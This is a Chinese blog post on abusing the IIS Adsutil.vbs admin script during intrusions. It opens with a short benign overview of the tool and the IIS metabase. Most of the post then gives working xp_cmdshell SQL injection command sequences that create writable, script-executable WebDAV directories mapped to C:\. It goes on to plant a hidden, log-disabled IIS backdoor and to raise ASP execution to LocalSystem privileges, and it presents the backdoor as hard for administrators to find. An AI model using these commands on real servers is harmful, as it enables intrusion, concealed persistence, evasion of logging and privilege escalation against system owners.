Adsutil.vbs在脚本入侵中的妙用

Adsutil.vbs是什么?它是Windows 2003的IIS服务自带的基于命令行下的IIS管 理脚本,位 于%SystemDrive%\Inetpub\AdminScripts目录下,95,426字节。这么大的脚本一看就知道功能肯定非常强 大,事实也 确是如此。我感觉它就是个命令行下的“Internet 信息服务管理器”(事实上Windows 2000 用%SystemDrive%\Inetpub\AdminScripts下原有的20多个VBS进行管理,而到了2003则只剩 下 Adsutil.vbs一个了,足以说明它的功能是多么强大)。 提到Adsutil.vbs就不得不提到 MetaBase.bin,这个文件是IIS最重要的配置文件,所有IIS的设置最终都会储存在这个文件中,IIS管理器和Adsutil.vbs就是通 过对这个文件读取配置信息来显示给用户的。它的储存结构十分像注册表,是一种树型储存结构。IIS管理器和Adsutil.vbs通过一个Adspath 的路径来访问MetaBase.bin,路径是由IIS:\\开头,其中LocalHost表示本地服务器,而W3svc表示IIS服务,如IIS: \\LocalHost/w3svc/1表示本地服务器上的第一个WEB站点,IIS:\\LocalHost/w3svc/1/root/Vdir表示 第一个WEB站点根目录下的Vdir虚拟目录。 Adsutil.vbs基本用法 有了这些前置知识,下面再回到Adsutil.vbs来看看它的用法: C:\Inetpub\AdminScripts>cscript Adsutil.vbs Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 Usage: ADSUTIL.VBS <cmd> [<path> [<value>]] Description: IIS administration utility that enables the configuration of metabase properties Supported Commands:    //支持的命令,这个最重要 GET,SET,ENUM,DELETE,CREATE,COPY,APPCREATEINPROC,APPCREATEOUTPROC,APPCREATEPOOLPROC,APPDELETE,APPUNLOAD, APPGETSTATUS Samples:    //简单的几个例子 Adsutil.vbs GET W3SVC/1/ServerBindings   //查看第一个虚拟WEB站点的邦定端口。这里的W3SVC/1是IIS:\\ LocalHostW3SVC/1的简写,而ServerBindings是它的属性。下同。 Adsutil.vbs SET W3SVC/1/ServerBindings ":81:"  //设定第一个虚拟WEB站点的邦定端口为81。 Adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"  //在第一个虚拟WEB站点根目录下建立一个MyVdir的虚拟目录。后面的“IIsWebVirtualDir”指的是目录类型。 Adsutil.vbs START_SERVER W3SVC/1  //启动第一个虚拟WEB站点。 Adsutil.vbs ENUM /P W3SVC   //查看IIS的所有站点。 For Extended Help type: Adsutil.vbs HELP  //如果想要进一步的查看帮助,键入此命令。 以上“//”后的文字都是我添加上去的注释,相信这样解释大家应该可以看懂了吧。 我 们所常用的Adsutil.vbs的命令有这么几个:GET,SET,ENUM,DELETE,CREATE。现在我来一一说明:GET命令通常是用 来 查看目录的各项属性值;SET是用来设定目录属性用的;ENUM也是用来查看属性,所不同的是它直接把所有设置了的属性直接全部显示出来。通常一个目 录就 有好几页东西可看……它有个可选的“/p”开关符,加上了这个开关,它只会列出此目录下的所有虚拟目录。 洞察虚拟目录属性 一个虚拟目录的大致属性值如下(只列出了常用的,和入侵过程息息相关的): KeyType:(STRING) "IIsWebVirtualDir"  //目录类型,(STRING)说明它是个字符串类型的属性。 AppRoot:(STRING) "/LM/W3SVC/1/ROOT"  //目录IIS路径。 AppFriendlyName:(STRING) "默认应用程序"  //应用程序名。 AppIsolated:(INTEGER) 2  //指定运行于进程外还是进程中,数字类型属性。 HttpCustomHeaders:(LIST) (1 Items)   //自定义IIS数据头。 "Powered By : Www.WoFeiWo.Info" HttpErrors:(LIST) (42 Items)  //各种IIS代码所返回的页面。可以自行设置。 DefaultDoc:(STRING) "Default.htm,index.htm,Default.asp,index.asp,Default.php,index.php,Default.aspx,index.aspx"   //目录的默认主页面名称。 Path:(STRING) "D:\ftp"  //目录所真正映射的物理路径。 AccessExecute:(BOOLEAN) False   //目录的执行权限,是布尔值。 AccessSource:(BOOLEAN) False   //目录的Webdav访问是否允许。 AccessRead:(BOOLEAN) True   //目录的只读权限。 AccessWrite:(BOOLEAN) False   //目录的写权限。 AccessScript:(BOOLEAN) True    //目录是否允许执行脚本。 AccessNoRemoteExecute:(BOOLEAN) False AccessNoRemoteRead:(BOOLEAN) False AccessNoRemoteWrite:(BOOLEAN) False AccessNoRemoteScript:(BOOLEAN) False AccessNoPhysicalDir:(BOOLEAN) False ScriptMaps:(LIST) (27 Items)   //应用程序扩展名映射 ".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" ".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" ".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG" ………………  //这里省略N多数据。 AspEnableParentPaths:(BOOLEAN) True AppPoolId:(STRING) "DefaultAppPool"  //应用程序池名称。 DontLog:(BOOLEAN) True   //禁止IISLog纪录。 DirBrowseFlags:(INTEGER) -1073741762 EnableDirBrowsing:(BOOLEAN) True  //目录是否允许列目录。 DirBrowseShowDate:(BOOLEAN) True  //这里及以下都是显示目录时的参数设置。 DirBrowseShowTime:(BOOLEAN) True DirBrowseShowSize:(BOOLEAN) True DirBrowseShowExtension:(BOOLEAN) True DirBrowseShowLongDate:(BOOLEAN) True EnableDefaultDoc:(BOOLEAN) True  //是否开启默认主页文档。 以上是我用“Cscript Adsutil.vbs ENUM w3svc/1/root”命令在自己机器上察看到的,大家也可以自己输入以上命令研究。 上面的属性我们都可以通过SET命令来进行设置,如下方式: Cscript Adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值 如: Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1 设置第一个虚拟WEB站点下Wofeiwo虚拟目录的可读权限为Ture。 Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\” 这是/设置目录的映射路径是“C:\”。 Adsutil.vbs在入侵中的作用 1.MSSQL Injection的上传新思路 或 许大家会在MSSQL的注入中碰到这种情况:SA权限,可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服 务 器是在内网,外面是个堡垒主机,只是做了个80端口的映射,3389开了没有用(内网连不上),所有反向木马也传不上去(Tftp、Ftp、 Wget、 exe2bat等等)这时候你该怎么办? Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就 是利用%SystemDrive%\Inetpub\ AdminScripts下的VBS建立一个新的虚拟目录,自定义其映射的绝对路径。这样可以绕过 了对WEB绝对路径的猜解,然后通过BACKUP或 MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接Echo)就可以得到了一个 Shell。 上面的想法的确很好,可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或 MASKWEBTASK的成功率有多么 低,而Echo……我也不想说了,一行一行写那简直是找罪受,还要不停地转特殊字符……其实我们可以把Amanl 大哥的想法改进一下:在我们建立一个新的 虚拟目录的时候,可以加上写目录的权限,再加上Webdav。那么我们不就可以直接通过IIS上传任何文件了 吗?也不仅仅局限于文本文件了。如果我们上传了一个反向后门再通过SA执行!呵呵,一切就都搞定了!来,马上实验一下: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”’;-- 注意上面的特殊字符要自己转变,或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令。这样我们就在第一个WEB站点下建立了一个Wofeiwo的虚拟目录,映射到了C:\根目录。给它加上读和写的权限,为了要一个Webshell ,我再加上执行脚本的权限: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1’;-- 写到这里,看过Surperhei写的《对IIS写权限的利用》一文的朋友可能会想要自己构造HTTP包来上传文件,其实有更简单的方法: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1’;-- 设置为允许列目录和Webdav访问,然后打开你的IE,Ctrl+O打开“打开”对话框,键入你刚才设置的虚拟目录,选中“以Web文件夹方式打开”,确定。如图1所示: 图1 啊哈!看到所有的文件夹了吗?如图2所示:图2 现 在你就可以像操作普通文件夹一样操作以上文件了,还可以Ctrl+C、Ctrl+V复制文件呢!实现了方便上传、修改文件的功能。    2.直接制作一 个IIS后门    其实我们完全可以更进一步利用上面所说的思路直接制作一个IIS后门。来,看我的实现(这里使用了动鲨在《近乎完美的IIS后门》中 所介绍的方法。不过我是直接用Adsutil.vbs这个MS自带的工具完成了设置,对此文章感兴趣的朋友可以自己找来看 看):Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root /wofeiwo "IIsWebVirtualDir"’;--  //首先建立一个wofeiwo目录。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo /door "IIsWebVirtualDir"’;--  //在wofeiwo目录下又建立了一个door目录。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo /door/Path “C:\”’;--  //设置door目录映射到C:根目录。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door /AccessRead 1’;--  //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1’;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door /AccessExecute 1’;--    可能会有人说,这不就是和上面的一样吗?你仔细看会发现我们上面新建的第一个目录“wofeiwo”并 没有设置“Path”属性,也就是说它没有映射到任何实际的目录上去。这里应用了IIS的一个BUG(涉及到IIS5.0\5.1\6.0),即对于没有 “Path”属性的虚拟目录是不会在IIS管理器中出现的,相当于一个隐藏的目录,而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是 不可见的!但是“door”目录是设置了“Path”属性的,所以如果我们提交http://IP/wofeiwo/door/路 径,其结果是会返回C:\下的文件目录,现在此目录已经是我们可以任意写文件读文件了,并且还可以转到System32目录下运行程序。我们的后门雏形建 成了(注意看我这里是加上了AccessExecute执行权限的)。    但是我们现在执行的程序都还是IIS默认的IUSR用户的Guest权限, 没有大的权限我们总是不爽,下面来提升我们的权限,加IUSR用户为管理员就不说了。下面说说另两个方法:(1) 设置AppIsolated,使此目录 下程序在IIS的进程中进行,这样就继承了IIS的System权 限:Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door / AppIsolated 0’;--(2)将解析ASP文件的Asp.dll加入到IIS的特权Dll中,使其在进程中运行,从而的到IIS的 LocalSystem权限。操作方式如下,首先得到IIS所有的特权 Dll:Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub \AdminScripts\ Adsutil.vbs GET w3svc/InProcessIsapiApps’;-- 返回: InProcessIsapiApps              : (LIST)  (5 Items) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" 再将Asp.dll设置到InProcessIsapiApps组中去。这里要注意,把上面的所有查到的Dll都加上,否则会被删除: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"’;-- 返回: InProcessIsapiApps: (LIST)"C:\WINDOWS \system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv \httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS \system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322 \aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"    这样就设置好了,以后无论 什么ASP文件就都是 LoaclSystem权限了。通过以上的步骤,我们的IIS后门就设置好了。你可以上传ASP木马加以辅助控制,这样的设置型后 门是很难被管理员发现的,并且完全通过IIS的80端口通讯,又没有日志记录,所以相当安全。
posted @ 2012-07-15 22:22  adodo1  Views(134)  Comments(0Edit  收藏  举报